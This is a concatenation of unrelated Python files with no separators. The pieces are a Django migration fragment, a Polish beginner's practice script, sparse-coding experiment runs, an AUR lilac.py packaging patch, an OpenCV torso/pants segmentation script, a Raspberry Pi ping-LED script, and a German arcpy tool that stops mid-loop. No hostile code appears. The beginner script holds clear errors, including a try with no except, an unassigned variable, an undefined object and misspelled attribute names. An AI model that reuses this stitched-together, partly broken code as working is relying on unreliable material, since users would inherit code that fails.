name='ideology', options={'verbose_name_plural': 'ideology'}, ), migrations.AlterModelOptions( name='legislation', options={'verbose_name_plural': 'Legislative accomplishments'}, ), migrations.AddField( model_name='quotetopic', name='slug', field=models.SlugField(blank=True, editable=False, max_length=255, null=True), ), migrations.AddField( model_name='occupation', name='biography', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='occupations', to='biography.Biography'), ), migrations.AddField( model_name='occupation', name='organization', field=models.ForeignKey(blank=True, help_text='Optionally, associate this occupation with an organization.', null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to='entity.Organization'), ), ]
def add_units(a , b): return a + b print (add_units(2,5)) c = 12.34656 um = 412443.1343 print(c) print(float(c)) ###print(int(c)) word = "helloa" print(word.replace("a","e")) print(word.capitalize()) print(word.isalpha()) "aqwe,qwqtqwr,qwewe".split(",") "my name is {0} and i love {1}".format(word, c) check = 1 if check == 2: print("true") else: print("false") #not if: #if check != 2: if not check == 2: print("true") #LISTS: list_test = ["john" , "Mila", "Arnold"] list_test[1] list_test.append("Josh") print(list_test) print("Josh" in list_test) len(list_test) del list_test[0] print(list_test) #LISTS: for x in list_test: # print("u just printed {x} as a name") << not working!! print("u just printed {0} as a name".format(x)) ww = 0 #od 15 do 30 z inkrementacja co 2: for y in range(15,30,2): #for y in range(10): ww = ww+y print(ww) print(" ") print("PIERWSZA LISTA!!!") list_long = ["a", "b" , "c", "d", "e"] for x in list_long: if x == "c": print("found him!") break else: print("not yet") print(" ") print("DRUGA LISTA!!!") list_longs = ["a", "b" , "c", "d", "e"] for x in list_longs: if x == "c": #dla continue spełnionego nie jest zwracana wartosc - skrypt warunku jest pomijany: continue print("found him!") else: print("not yet") print(" ") print("WHILE LOOP") zz = 0 while zz < 10: print("tutaj jest zawartosc {0}".format(zz)) zz += 1 print(" ") print("DICTIONARIES") student ={ "imie" : "Marek", "nazwisko": "Markowski", "wiek":24 } student["imie"] student.get("kraj", "brak") student.keys() student.values() try: student["obywatel"] except KeyError: print("this is error of key student") ################################################################### list_pracownikow = [] def new_firms(name, *args): print(name) print(args) new_firms("aaaa","bbbb","cccc","dddd") def new_employee(name, surname, age, department): seq_num = len(list_pracownikow) + 1 student = { "id": seq_num, "name": name, "surname": surname, "age": age, "department": department } list_pracownikow.append(student) new_employee("marek", "bodnar", 11, "ukrainian") #or: new_employee(name="marek", surname="bodnar", age=11, department="ukrainian") name_employee = input("Please, enter student name: ") surname_employee = input("Please, enter student surname: ") age_employee = input("Please, enter student age: ") department_employee = input("Please, enter student department: ") new_employee(name_employee, surname_employee , age_employee, department_employee) print(list_pracownikow) #################################################### num = 0 def save_file(bb): try: #a - appending to a new or existing file #w - writing overwrites the entire file #r - reading a text file #rb - reading a binary file #wb - writing a binry file f = open("stundents.txt", "a") for x in range(10): num = num + x f.write(num + "\n") f.close() #except Exception: # print("Could not save file!") def r_file(): f = open("stundents.txt", "r") for x in f.readlines(): print(x) f.close() #except Exception: # print("Could not read a file") save_file() #read_file() ################################################### Employee = [] class Workers: seq = 0 school_name = "qwqwrqrqr" def get_school_name(self): return self.school_name #def add_worker(self, name, surname, age): def __init__(self, name, surname="abcd", age=11): self.name = name self.surname = surname self.age = age worker = {"name": self.name.capitalize(), "surname": self.surname.capitalize(), "age": age , "worker_id": seq} Employee.append(worker) def get_name_capitalize(self): return self.name.capitalize() def __str__(self): return "lalala" class WorkersPlace(Workers): def get_name_capitalize(self): orginal_value = super().get_name_capitalize() return orginal_value + "-HS" #if def add_worker(self, name, surname, age) then all below could work: #empl = Workers() print(empl.get_school_name) #empl.add_worker("Mark", "Markus", 43) #empl.add_worker("Anna", "ABC", 21) print(Employee) #when add_worker "is __init__" few parameters are default #with __init__ james below works with surname and age on default values from constructor: james = WorkersPlace("james") print(james.get_name_capitalize()) #################################### list_alfa = list("abcdefgh") list_a = ["asqwe", "qwqewaaae", "qweqastwe234353"] list_b = [] o = 0 r = 0 a = list(list_a) for x in list_a: r_loop = len(list_a[o]) for y in range(r_loop): list_b.append(list_a[o][r]) r = r + 1 o = o+1 r = 0 print(list_alfa) print(a) print(list_b) elements = {"colors": "123543", "function": "manager" , "name": "cristian"} for e in elements: print(e, elements[e]) ###################################### #tests: def maxmin(elem): return min(elem), max(elem) a = [32323,35,4654,65,0] b = ["qweq", "eqweq", "weqwe3 453 fd"] maxmin(a) b = ';'.join(b) print(b) b.split(";") str = "unforgetable" print(str.partition("forget")) print(str) a, b, c, d = "arizona;wisconsin;LA;washington".split(";") print(a, b , c, d) elem = [1244,535,657, 35545,5344,656563,454,234] "strin {elem[1]} string {elem[2]} string string {elem[0]}".format(elem=elem) #range(start, stop, step) for x in range(0,10,2): print(x) print(elem[2:], elem[:1], elem[2:3]) a = [[1,2],[3,4]] b = a[:] print("a" , a) print("b" , b) a[0] = [8,9] print("a" , a) print("b" , b) a[1].append(5) print("a" , a) print("b" , b) del elem[2] elem.remove(5344) print(elem) elem+=[3425,657,8787,878,235] print(elem) elem.extend([444656,5353]) print(elem) elem.sort() print(elem) yy = sorted(elem) ee = reversed(yy) print(ee, "its reverse iterator") print(list(ee), "this is a list of ee") var_aae = dict(aaa = '1242', qweqwe='3er235') for key in var_aae: print("{key} => {value}".format(key=key, value = var_aae[key])) for value in var_aae.values(): print(value) for key in var_aae.values(): print(key) for key, value in var_aae.items(): print(key, value) ################################### #Iterables: #list comprehensions: words = "string my string again, some new words, expresions, some default etc".split() # not work like words.split() [len(word) for word in words] lengths = [] for word in words: lengths.append(len(word)) print(lengths) #from math import factorial #f = [len(str(factorial(x))) for x in range(20)] from pprint import pprint as pp country_to_capital = {'United Kingdom': 'London', 'Brazil': 'Brazilia', 'Marocc':'Rabat', 'Sweden':'Stockholm'} capital_to_country = {capital: country for country, capital in country_to_capital.items()} pp(capital_to_country) #end comprehension!! from math import sqrt def is_prime(x): if x < 2: return False for i in range(2, int(sqrt(x))+1): if x % i ==0: return False return True [x for x in range(101) if is_prime(x)] ########################################### #Iterators: iterable = ['spring', 'summer','autumn', 'winter'] iterator = iter(iterable) next(iterator) next(iterator) next(iterator) def next_iteration(i, n): list_i = i iterator = iter(list_i) try: for x in range(n): e = next(iterator) return e except StopIteration: raise ValueError("iterable is empty") except ValueError: raise ValueError("iterable is empty") i_e = ['spring', 'summer','autumn', 'winter'] print(next_iteration(i_e,3)) ###################################### #classes: #self is similar to "this" in C# or java #__init__ is initializer - not a constructor #avoid name clash #endure, truths class Flight_fly: def __init__(self, num, aircraft): if num == None: return "more than 0" self._num = num self._aircraft = aircraft rows, seats = self._aircraft.seating_plan() self._seating = [None] + [{letter: None for letter in seats} for _ in rows ] def num(self): return self._num def airline(self): return self._airline def allocate_seat(self, seat, passanger): rows, seat_leters = self.aircraft.seating_plan() letter = seat[-1] if letter not in seat_letters: raise ValueError("Invalid seat letter {}".format(letter)) row_text = seat[:-1] try: row = int(row_text) except ValueError: raise ValueError("Invalid seat letter {}".format(row_text)) self._seating[row][letter] = passenger class Aircraft: def __init__ (self, registration, model, num_rows , num_seats_per_row): self._registration = registration self._model = model self._num_rows = num_rows self._num_seats_per_row = num_seats_per_row def registration(self): return self._registration def model(self): return self._model def seating_plan(self): return (range(1, self._num_rows +1), "ABCDEFGHJK"[:self._num_seats_per_row]) f = Flight_fly("BA758", Aircraft("G-EUPT", "Airbus A319", num_rows = 22, num_seats_per_row=6)) f._seating f.allocate_seat('12A', 'joanna joananna') f._seating ############################################### #see more open() modes!! f = open('wasteland.txt', mode='wt', encoding='utf-8') f.write('where is thats? \n our version is here correct\n and its very interesting text \n for reading using python') f.close() #appending h = open('wasteland.txt', mode='at', encoding='utf-8') h.writelines([' aaaaa aaww \n,', ' qweqda qw q qw q efwe \n ', ' dqwq bfu wbeuw in ' ]) h.close() g = open('wasteland.txt', mode='rt', encoding='utf-8') #g.read(12) print("--------") #g.seek(0) print("--------") g.readline() print("----next readline because of iteration:----") g.readline() print("--------") g.close #g.read() """ import sys def main(filename): f = open(filename, mode = 'rt', encoding='utf-8') for line in f: sys.stdout.write(line f.close() if __name__ == '__main__': main(sys.argv[1]) """ ###### import urllib import urllib.request type(urllib) type(urllib.request) urllib.__path__
# Using range for loops. Range only takes integers. for num in range(1,5): print (num) # Result will be -> # 1 # 2 # 3 # 4 # While Loop x = 10 while x > 0: print ('X is ' + str(x)) x -= 1
__author__ = 'Nic' import numpy import os import scipy.io import datetime from collections import namedtuple # Manually set here the path to the pyCSalgos package # available at https://github.com/nikcleju/pyCSalgos import sys, socket hostname = socket.gethostname() if hostname == 'caraiman': pyCSalgos_path = '/home/nic/code/pyCSalgos' elif hostname == 'nclejupc': pyCSalgos_path = '/home/ncleju/code/pyCSalgos' elif hostname == 'nclejupchp': pyCSalgos_path = '/home/ncleju/Work/code/pyCSalgos' sys.path.append(pyCSalgos_path) import matplotlib #matplotlib.use('agg') import matplotlib.pyplot as plt from LSIHT import LeastSquaresIHT from pyCSalgos import IterativeHardThresholding from pyCSalgos import OrthogonalMatchingPursuit from pyCSalgos import ApproximateMessagePassing from pyCSalgos import SynthesisSparseCoding from parameters_SC import make_params_randn, make_params_ECG, plotdecays, get_solver_shortname, plot_options, \ make_params_ECG_onlyAMPP_partcond, make_params_ECG_onlyNSTHTFB, make_params_ECG_allsolvers, make_params_randn_allsolvers, make_params_randn_allsolvers_fast def rerun(p): time_start = datetime.datetime.now() print(time_start.strftime("%Y-%m-%d-%H:%M:%S:%f") + " --- Started running %s..."%(p.name)) # Output data file data_filename = os.path.join(p.save_folder, p.name + '_savedata') # no extension here, will be added when saved file_prefix = os.path.join(p.save_folder, p.name) sc = SynthesisSparseCoding(dictionary=p.dictionary, rhos=p.rhos, numdata=p.num_data, snr_db_sparse=p.snr_db_sparse, snr_db_signal=p.snr_db_signal, solvers=p.solvers) sc.loaddata(matfilename=data_filename+'.mat' ) #sc.run(processes=1, random_state=123) #sc.savedata(data_filename) #sc.savedescription(file_prefix) #sc.plot(thresh=p.success_thresh, basename=file_prefix, legend=p.solver_names, saveexts=['png', 'pdf', 'pickle']) time_end = datetime.datetime.now() print(time_end.strftime("%Y-%m-%d-%H:%M:%S:%f") + " --- Ended. Elapsed: " + \ str((time_end - time_start).seconds) + " seconds") def replot(filename, specialname=None, ylim=(None, None)): time_start = datetime.datetime.now() print(time_start.strftime("%Y-%m-%d-%H:%M:%S:%f") + " --- Started replot on %s..."%(filename)) # Output data file basename = filename[:-13] + '_replot' + (('_'+specialname) if specialname is not None else '') # [:-13] means remove final '_savedata.mat' part sc = SynthesisSparseCoding(dictionary=numpy.random.randn(10,20), ks=[1,2]) # Use any inputs here, the true data will be loader below sc.loaddata(picklefilename1=filename[:-4]+'.pickle', picklefilename2=filename[:-4]+'_data.pickle') # Load saved data # Manually set legend and plot styles here. Can deduce them from solvers's class, but solvernames = [get_solver_shortname(solver) for solver in sc.solvers] sc.plot(thresh=None, basename=basename, legend=solvernames, saveexts=['png', 'pdf', 'pickle'], plot_options=plot_options, rhomax=0.55, ylim=ylim) # Plot time_end = datetime.datetime.now() print(time_end.strftime("%Y-%m-%d-%H:%M:%S:%f") + " --- Ended. Elapsed: " + \ str((time_end - time_start).seconds) + " seconds") def run(p): time_start = datetime.datetime.now() print(time_start.strftime("%Y-%m-%d-%H:%M:%S:%f") + " --- Started running %s..."%(p.name)) # Output data file data_filename = os.path.join(p.save_folder, p.name + '_savedata') # no extension here, will be added when saved file_prefix = os.path.join(p.save_folder, p.name) sc = SynthesisSparseCoding(dictionary=p.dictionary, rhos=p.rhos, numdata=p.num_data, snr_db_sparse=p.snr_db_sparse, snr_db_signal=p.snr_db_signal, solvers=p.solvers) sc.run(processes=1, random_state=123) sc.savedata(data_filename) sc.savedescription(file_prefix) sc.plot(thresh=p.success_thresh, basename=file_prefix, legend=p.solver_names, saveexts=['png', 'pdf', 'pickle'], plot_options=p.plot_options, ylim=p.ylim) sc.plot_suppport_recovered(basename=file_prefix+'_supp', legend=p.solver_names, saveexts=['png', 'pdf', 'pickle']) time_end = datetime.datetime.now() print(time_end.strftime("%Y-%m-%d-%H:%M:%S:%f") + " --- Ended. Elapsed: " + \ str((time_end - time_start).seconds) + " seconds") # Main program starts here if __name__ == "__main__": # For profiling #import cProfile #cProfile.run('run()', 'profile') # Seed randomly numpy.random.seed() # For plotting the spectra of the random dictionaries #plotdecays(length=500, As=[1, 1, 1, 1], RCconsts=[1.5, 4.5, 9, 12], filename='save/SparseCoding/SC_decays_500') ############################# # RANDN dictionaries ############################# num_data = 100 ### Run with all 14 algorithms # 500x1000, low-noise recovery (80dB) run(make_params_randn_allsolvers(specialname='all', signal_size=500, dict_size=1000, RCconst=1.5, snr_db_signal=80, snr_db_sparse=numpy.Inf, num_data=num_data, rhomax=0.55, rcond=0, rinv=None, ylim=(0, 0.7))) # Fullcond run(make_params_randn_allsolvers(specialname='all', signal_size=500, dict_size=1000, RCconst=6, snr_db_signal=80, snr_db_sparse=numpy.Inf, num_data=num_data, rhomax=0.55, rcond=0, rinv=None, ylim=(0, 0.7))) # Fullcond run(make_params_randn_allsolvers(specialname='all', signal_size=500, dict_size=1000, RCconst=9, snr_db_signal=80, snr_db_sparse=numpy.Inf, num_data=num_data, rhomax=0.55, rcond=0, rinv=None, ylim=(0, 0.7))) # Fullcond ### TOO LONG DIDN'T RUN run(make_params_randn_allsolvers(specialname='all', signal_size=500, dict_size=1000, RCconst=10.5, snr_db_signal=80, snr_db_sparse=numpy.Inf, num_data=num_data, rhomax=0.55, rcond=0, rinv=None, ylim=(0, 0.7))) # Fullcond # # Replot to adjust Y scale replot('save/SparseCoding/SC_all_randn_80_500x1000_1p500_savedata.mat', ylim=(0, 0.7)) replot('save/SparseCoding/SC_all_randn_80_500x1000_6p000_savedata.mat', ylim=(0, 1.4)) replot('save/SparseCoding/SC_all_randn_80_500x1000_9p000_savedata.mat', ylim=(0, 1.4)) replot('save/SparseCoding/SC_all_randn_80_500x1000_6p000_savedata.mat', specialname='zoom', ylim=(0, 0.3)) replot('save/SparseCoding/SC_all_randn_80_500x1000_9p000_savedata.mat', specialname='zoom', ylim=(0, 0.3)) # 500x1000, 20db noise # Full conditioning run(make_params_randn_allsolvers(specialname='all_fullcond', signal_size=500, dict_size=1000, RCconst=1.5, snr_db_signal=20, snr_db_sparse=20, num_data=num_data, rhomax=0.55, rcond=0.00, rinv=0.0)) run(make_params_randn_allsolvers(specialname='all_fullcond', signal_size=500, dict_size=1000, RCconst=6, snr_db_signal=20, snr_db_sparse=20, num_data=num_data, rhomax=0.55, rcond=0.00, rinv=0.0)) run(make_params_randn_allsolvers(specialname='all_fullcond', signal_size=500, dict_size=1000, RCconst=9, snr_db_signal=20, snr_db_sparse=20, num_data=num_data, rhomax=0.55, rcond=0.00, rinv=0.0)) ### TOO LONG DIDN'T RUNrun(make_params_randn(specialname='fullcond', signal_size=500, dict_size=1000, RCconst=10.5, snr_db_signal=20, snr_db_sparse=20, num_data=num_data, rhomax=0.55, rcond=0.00, rinv=0.0)) # # Partial conditioning run(make_params_randn_allsolvers(specialname='all_partcond', signal_size=500, dict_size=1000, RCconst=1.5, snr_db_signal=20, snr_db_sparse=20, num_data=num_data, rhomax=0.55, rcond=0.01, rinv=0.1)) run(make_params_randn_allsolvers_fast(specialname='all_partcond', signal_size=500, dict_size=1000, RCconst=6, snr_db_signal=20, snr_db_sparse=20, num_data=num_data, rhomax=0.55, rcond=0.01, rinv=0.1, ylim=(0, 1.5))) run(make_params_randn_allsolvers_fast(specialname='all_partcond', signal_size=500, dict_size=1000, RCconst=9, snr_db_signal=20, snr_db_sparse=20, num_data=num_data, rhomax=0.55, rcond=0.01, rinv=0.1, ylim=(0, 1.5))) ### TOO LONG run(make_params_randn(specialname='partcond', signal_size=500, dict_size=1000, RCconst=10.5, snr_db_signal=20, snr_db_sparse=20, num_data=100, rhomax=0.55, rcond=0.01, rinv=0.1, ylim=(0, 2.5))) ############################# # ECG dictionaries ############################# signal_size=512 dict_size = 512 num_data = 100 ### All 14 algorithms # Low noise (80db) run(make_params_ECG_allsolvers(specialname='all_nocond', signal_size=signal_size, dict_size=dict_size, snr_db_signal= 80, snr_db_sparse=numpy.Inf, num_data=num_data, rhomax=0.3, rcond=0, rinv=None)) run(make_params_ECG_allsolvers(specialname='all_fullcond', signal_size=signal_size, dict_size=dict_size, snr_db_signal= 80, snr_db_sparse=numpy.Inf, num_data=num_data, rhomax=0.3, rcond=0, rinv=0)) run(make_params_ECG_allsolvers(specialname='all_partcond', signal_size=signal_size, dict_size=dict_size, snr_db_signal= 80, snr_db_sparse=numpy.Inf, num_data=num_data, rhomax=0.3, rcond=0.01, rinv=0.1, ylim=(0,1.5))) # High noise (20db noise, meassurement and sparsity noise) run(make_params_ECG_allsolvers(specialname='all_nocond', signal_size=signal_size, dict_size=dict_size, snr_db_signal= 20, snr_db_sparse=20, num_data=num_data, rhomax=0.3, rcond=0, rinv=None, ylim=(0,2))) run(make_params_ECG_allsolvers(specialname='all_fullcond', signal_size=signal_size, dict_size=dict_size, snr_db_signal= 20, snr_db_sparse=20, num_data=num_data, rhomax=0.3, rcond=0, rinv=0, ylim=(0,2))) run(make_params_ECG_allsolvers(specialname='all_subspace1', signal_size=signal_size, dict_size=dict_size, snr_db_signal= 20, snr_db_sparse=20, num_data=num_data, rhomax=0.3, rcond=0.1, rinv=0.1, ylim=(0,2))) run(make_params_ECG_allsolvers(specialname='all_subspace2', signal_size=signal_size, dict_size=dict_size, snr_db_signal= 20, snr_db_sparse=20, num_data=num_data, rhomax=0.3, rcond=0.01, rinv=0.01, ylim=(0,2))) run(make_params_ECG_allsolvers(specialname='all_partcond2', signal_size=signal_size, dict_size=dict_size, snr_db_signal= 20, snr_db_sparse=20, num_data=num_data, rhomax=0.3, rcond=0.01, rinv=0.1, ylim=(0,2))) # # Only AMP-P, illustrate partcond: # run(make_params_ECG_onlyAMPP_partcond(specialname='v2_onlyAMPP', signal_size=signal_size, dict_size=dict_size, snr_db_signal= 20, snr_db_sparse=20, num_data=num_data, rhomax=0.3, rcond=0.01, rinv=0.1, ylim=(0,1)))
# Trimmed lilac.py #!/usr/bin/env python3 # # This file is the most simple lilac.py file, # and it suits for most packages in AUR. # from lilaclib import * PATCH = b""" diff --git a/archlinuxcn/vivaldi/PKGBUILD b/archlinuxcn/vivaldi/PKGBUILD index 2b1aeb2df..9a9868e2a 100644 --- a/archlinuxcn/vivaldi/PKGBUILD +++ b/archlinuxcn/vivaldi/PKGBUILD @@ -4,7 +4,7 @@ pkgname=vivaldi _rpmversion=2.3.1440.41-1 pkgver=2.3.1440.41 -pkgrel=2 +pkgrel=3 pkgdesc='An advanced browser made with the power user in mind.' url="https://vivaldi.com" options=(!strip !zipman) @@ -48,5 +48,11 @@ package() { | sed -rne 's/.*(<html lang.*>.*html>).*/\1/p' \ | w3m -I 'utf-8' -T 'text/html' \ > "$pkgdir/usr/share/licenses/$pkgname/eula.txt" + + # remove anything under /bin + rm -rf $pkgdir/bin + # move anything under /share + mv $pkgdir/share/* $pkgdir/usr/share/ + rmdir $pkgdir/share } """ import subprocess def apply_patch(filename, patch): patch_proc = subprocess.Popen(["patch", "-p1", filename], stdin=subprocess.PIPE) patch_proc.communicate(patch) def pre_build(): aur_pre_build() apply_patch("PKGBUILD", PATCH)
import numpy as np import cv2 import matplotlib.pyplot as plt import random import glob import numba as nb import time from segment import Segment from statistics import mean from itertools import product from multiprocessing import Pool @nb.jit def vertical_match(upper,lower): matches=[] for u in upper: for l in lower: if u.ontop(l): matches.append((u,l)) return matches @nb.jit def label_iterative(x,y,img,display_img,R,G,B): frontier = [] frontier.append((x,y)) segment = Segment(img.shape[0],0,img.shape[1],0,B) while len(frontier) != 0: x,y = frontier.pop(-1) if x<0 or y<0 or x >= img.shape[0] or y >= img.shape[1]: continue if not img[x,y]==255: continue segment.update(x,y) img[x,y]=0 display_img[x,y,0]=R display_img[x,y,1]=G display_img[x,y,2]=B for i in range(-3,4): for j in range(-3,4): if i==0 and j == 0: continue frontier.append((x+i,y+j)) return segment def labelfunc(img,tresh_bottom,tresh_up): new_img = np.zeros((img.shape[0],img.shape[1],3), dtype=np.uint8) img_hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV) img_hsv = cv2.inRange(img_hsv,tresh_bottom,tresh_up) return label_loop(new_img,img_hsv) @nb.jit def label_loop(new_img,img_hsv): B=0 segments = [] for x in range(img_hsv.shape[0]): for y in range(img_hsv.shape[1]): if img_hsv[x,y]==255: G = random.randint(0,255) R = random.randint(0,255) B = B+1 segments.append(label_iterative(x,y,img_hsv,new_img,R,G,B)) segments = list(filter(lambda x: x.size > 100,segments)) return new_img, segments def draw_match(img, match, scale): cv2.rectangle(img,(int(match[0].y_min*scale),int(match[0].x_min*scale)),(int(match[0].y_max*scale),int(match[0].x_max*scale)),(0,255,0),3) if match[1].y_min+10 < match[0].y_min: up_left = (int((match[0].y_min-10)*scale),int(match[1].x_min*scale)) else: up_left = (int(match[1].y_min*scale),int(match[1].x_min*scale)) if match[1].y_max > 10 + match[0].y_max: down_right = (int((match[0].y_max+10)*scale),int(match[1].x_max*scale)) else: down_right = (int(match[1].y_max*scale),int(match[1].x_max*scale)) cv2.rectangle(img, up_left,down_right,(0,0,255),3) training_cache_p = {} training_cache_t = {} def find(img, thresholds, video = False, training = False): if not training: start = time.time() if not (training and str((thresholds[0],thresholds[1])) in training_cache_p and str((thresholds[2],thresholds[3])) in training_cache_t): if not video: img_matches = cv2.cvtColor(img,cv2.COLOR_BGR2RGB) orig_res=img.shape img = cv2.resize(img,(800,450)) img_cpy = np.copy(img) img_hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV) if training and str((thresholds[0],thresholds[1])) in training_cache_p: segment_pants = training_cache_p[str((thresholds[0],thresholds[1]))] else: img_pants, segment_pants = labelfunc(img,thresholds[0],thresholds[1]) if training: training_cache_p[str((thresholds[0],thresholds[1]))] = segment_pants if training and str((thresholds[2],thresholds[3])) in training_cache_t: segment_torso = training_cache_t[str((thresholds[2],thresholds[3]))] else: img_torso, segment_torso = labelfunc(img_cpy,thresholds[2],thresholds[3]) if training: training_cache_t[str((thresholds[2],thresholds[3]))] = segment_torso matches = vertical_match(segment_torso,segment_pants) if not training: print(time.time()-start) if training: return matches,segment_torso,segment_pants elif video: return matches else: for m in matches: draw_match(img_matches,m,orig_res[1]/800) plt.imshow(img_matches) plt.show() fig, axs = plt.subplots(2,2) axs[0,0].imshow(img_pants) axs[0,1].imshow(img_torso) axs[1,0].imshow(img_matches) axs[1,1].imshow(img_hsv) plt.show() return matches def vid_read(viddir,thresholds): find_matches = lambda x: find(x,thresholds=thresholds,video=True) fourcc = cv2.VideoWriter_fourcc(*'mp4v') out = cv2.VideoWriter('output.mp4',fourcc, 48.0, (1920,1080)) cap = cv2.VideoCapture(viddir) while True: ret, frame = cap.read() if not ret: break matches = find_matches(frame) for m in matches: draw_match(frame,m,frame.shape[1]/800) out.write(frame) cv2.imshow('frame',frame) if cv2.waitKey(1) & 0xFF == ord('q'): break cap.release() out.release() cv2.destroyAllWindows() percentile_cache_t = {} percentile_cache_p = {} def cached_percentile(pixels,cutoff,torso): if torso and cutoff in percentile_cache_t: return percentile_cache_t[cutoff] elif (not torso) and cutoff in percentile_cache_p: return percentile_cache_p[cutoff] percentiles = np.percentile(pixels,cutoff,axis=0) if torso: percentile_cache_t[cutoff] = percentiles else: percentile_cache_p[cutoff] = percentiles return percentiles def avg_thresh(img, ground_truth, percentile, train_size = 10, precision = 2): torso_pixels=[] pants_pixels=[] hsv_img = cv2.cvtColor(img,cv2.COLOR_BGR2HSV) for y in range(img.shape[0]): for x in range(img.shape[1]): if ground_truth[y,x,2] > 100: torso_pixels.append(hsv_img[y,x]) elif ground_truth[y,x,0] > 100: pants_pixels.append(hsv_img[y,x]) best_matches = find(ground_truth,((110,10,10),(130,255,255),(0,10,10),(5,255,255))) best_score = -1 best_thresh = None bad_p_quartiles = [] bad_t_quartiles = [] old_v=0 for i,v,k,j in product(list(range(percentile,percentile+train_size,precision)), repeat=4): if (i,v) in bad_p_quartiles or (k,j) in bad_t_quartiles: continue current_thresh = [cached_percentile(pants_pixels,i,torso=False), cached_percentile(pants_pixels,100-v,torso=False), cached_percentile(torso_pixels,k,torso=True), cached_percentile(torso_pixels,100-j,torso=True)] current_matches,segment_torso,segment_pants = find(img.copy(),current_thresh, training=True) if len(segment_pants) <= best_score: bad_p_quartiles.append((i,v)) continue if len(segment_torso) <= best_score: bad_t_quartiles.append((k,j)) continue current_score = 0 match_positions = [] #to penalize double matches for match in current_matches: match_found=False match_x = (match[0].x_max + match[0].x_min) / 2 match_y = (match[0].y_max + match[0].y_min) / 2 if (match_x,match_y) in match_positions: current_score -= 0.5 continue match_positions.append((match_x,match_y)) for true_match in best_matches: if match_x > true_match[0].x_min and match_x < true_match[0].x_max and match_y > true_match[0].y_min and match_y < true_match[0].y_max: current_score+=1 match_found = True break if not match_found: current_score -= 2 #penalize wrong matches if old_v != v: print("best thresh =",best_thresh,"\ni =", i,"v =", v,"\nbest score =",best_score) old_v = v if current_score > best_score: best_thresh = current_thresh best_score = current_score print(best_thresh) print(best_score) return best_thresh if __name__ == "__main__": vid_id = 1 img = cv2.imread("sample_images\\{}.jpg".format(vid_id)) truth = cv2.imread("sample_truths\\{}.jpg".format(vid_id)) thresholds = avg_thresh(img.copy(),truth,5,25,1) #thresholds = [(0,7,17),(22,70,68),(13,117,44),(19,216,183)] find(img.copy(),thresholds) #[array([ 8., 21., 24.]), array([30., 81., 74.]), array([ 13., 119., 45.]), array([ 18., 197., 158.])] #[array([ 6., 18., 22.]), array([110., 89., 80.]), array([ 13., 119., 45.]), array([ 18., 188., 144.])] #thresholds = [(10,15,30),(30,70,137),(10,140,60),(80,255,255)] #advanced thresh = [(0,7,17),(22,70,68),(13,117,44),(19,216,183)] #probably bad bu worth a shot [array([ 6., 20., 18.]), array([165., 84., 67.]), array([ 12., 119., 40.]), array([ 19., 213., 160.])] vid_read("sample_videos\\{}.mkv".format(vid_id),thresholds)
#!/usr/bin/python3 from gpiozero import LED, PingServer from gpiozero.tools import negated from signal import pause green = LED(17) red = LED(22) RPIold = PingServer('192.168.2.106') green.source = RPIold green.source_delay = 5 red.source = negated(green) pause()
# -*-coding: UTF-8-*- """ Autor: Matthias Herbein Erstellt: 04.10.2018 Ueberarbeitet: heute Py Version: 3.6 Beschreibung: Der Nutzer kann einer Feature Class oder einem Layer mit Hilfe dieses Tools neue Felder in der Attributtabelle hinzufuegen. Der Nutzer kann dabei mehrere Felder des gleichen Datentyps gleichzeitig anlegen. Die Feldnamen werden in diesem Prozess in Abhängigkeit vom Eingabedatensatz automatisch validiert. Ist der Datentyp des neuen Feldes "TEXT" kann die Laenge der Felder definiert werden. Der default Wert fuer Felder des Typs "Text" ist "no data". """ # Import system modules import arcpy import sys # Umgebungseinstellungen # parallele Verarbeitung # Variablen # Eingabedatei (Feature Class oder Layer) festlegen eingabeFC = arcpy.GetParameterAsText(0) """ Workspace muss in Abhängigkeit von eingabeFC abgefragt werden. Wobei darauf vieleicht auch verzichtet werden kann/sollte. Nach Aufgabenbeschreibung (Hinweis 3) sollte ich mich aber auf den Eingabe WS beziehen Aufgabe: Funktion ValidateFieldName nochmal genau anschauen. """ eingabeBeschreibung = arcpy.Describe(eingabeFC) arbeitsverzeichnis = eingabeBeschreibung.path # arcpy.env.workspace = arbeitsverzeichnis # kann/muss ich hier noch Fehler wie \neuer Ordner mit dem raw Befehl abfangen?? # Liste der Feldnamen erfassen eingabeString = arcpy.GetParameterAsText(1) feldListe = eingabeString.split(";") feldTyp = arcpy.GetParameterAsText(2) feldLaenge = arcpy.GetParameterAsText(3) """ # f str(z).isdigit() == True: print "Z ", z # gibt nichts aus weil `z` keine Int ist und kein String der nur Zahlen enthält """ """ # der Datentyp und der Wertebereich des Parameters Feldlaenge werden geprueft. if arcpy.Exists(feldLaenge): if arcpy.GetParameterAsText(3) == int or (): print('Die Verarbeitung wird gestartet.') elif arcpy.GetParameterAsText(3) < 254: print('Einen kleinen Moment bitte.') else: sys.exit(arcpy.AddMessage('Eine Feldlaenge kann nur für den Datentyp -TEXT- angegeben werden. \n' 'Der Wert muss eine ganze Zahl zwischen 1 und 254 sein.\n' ' Der Prozess wurde abgebrochen')) """ # Start der Schleife zaehler = 0 while zaehler < len(feldListe): feldName = feldListe[zaehler] # Der Feldname wird validiert validerName = arcpy.ValidateFieldName(feldListe[zaehler], arbeitsverzeichnis) if validerName != feldName: arcpy.AddMessage('Der Feldname ' + feldName + ' ist ungueltig. Das Feld wurde in ' + validerName + ' umbenannt') else: arcpy.AddMessage('Der Feldname ' + feldName + ' ist valide.') # Es wird geprüft ob das Feld bereits existiert if len(arcpy.ListFields(eingabeFC, feldListe[zaehler])) > 0: sys.exit(arcpy.AddMessage('Der Feldname ' + feldName + ' existiert bereits. ' 'Die Verarbeitung wurde abgebrochen')) if len(arcpy.ListFields(eingabeFC, validerName)) > 0: sys.exit(arcpy.AddMessage('Der Feldname ' + validerName + ' existiert bereits. ' 'Die Verarbeitung wurde abgebrochen')) # Start Prozess, zunaechst fuer valide Namen if feldName == validerName: for feldName in feldListe: # Fuer den Feldtyp TEXT wird auch der Parameter Feldlaenge mit verarbeitet. if feldTyp == 'TEXT': feldLaenge = int(arcpy.GetParameterAsText(3)) arcpy.AddField_management(eingabeFC, feldName, feldTyp, {}, {}, {feldLaenge}) # Fuer Felder des Typs TEXT soll als default Wert statt 'NULL' der Wert 'no data' eingetragen werden """# muss bei UpdateCursor die FC oder der Pfad zur FC angegeben werden? Was liefert das erste arcpy.GetParameterAsText(0) zurück?""" zeilenFC = arcpy.da.UpdateCursor(eingabeFC, feldName) for row in zeilenFC: 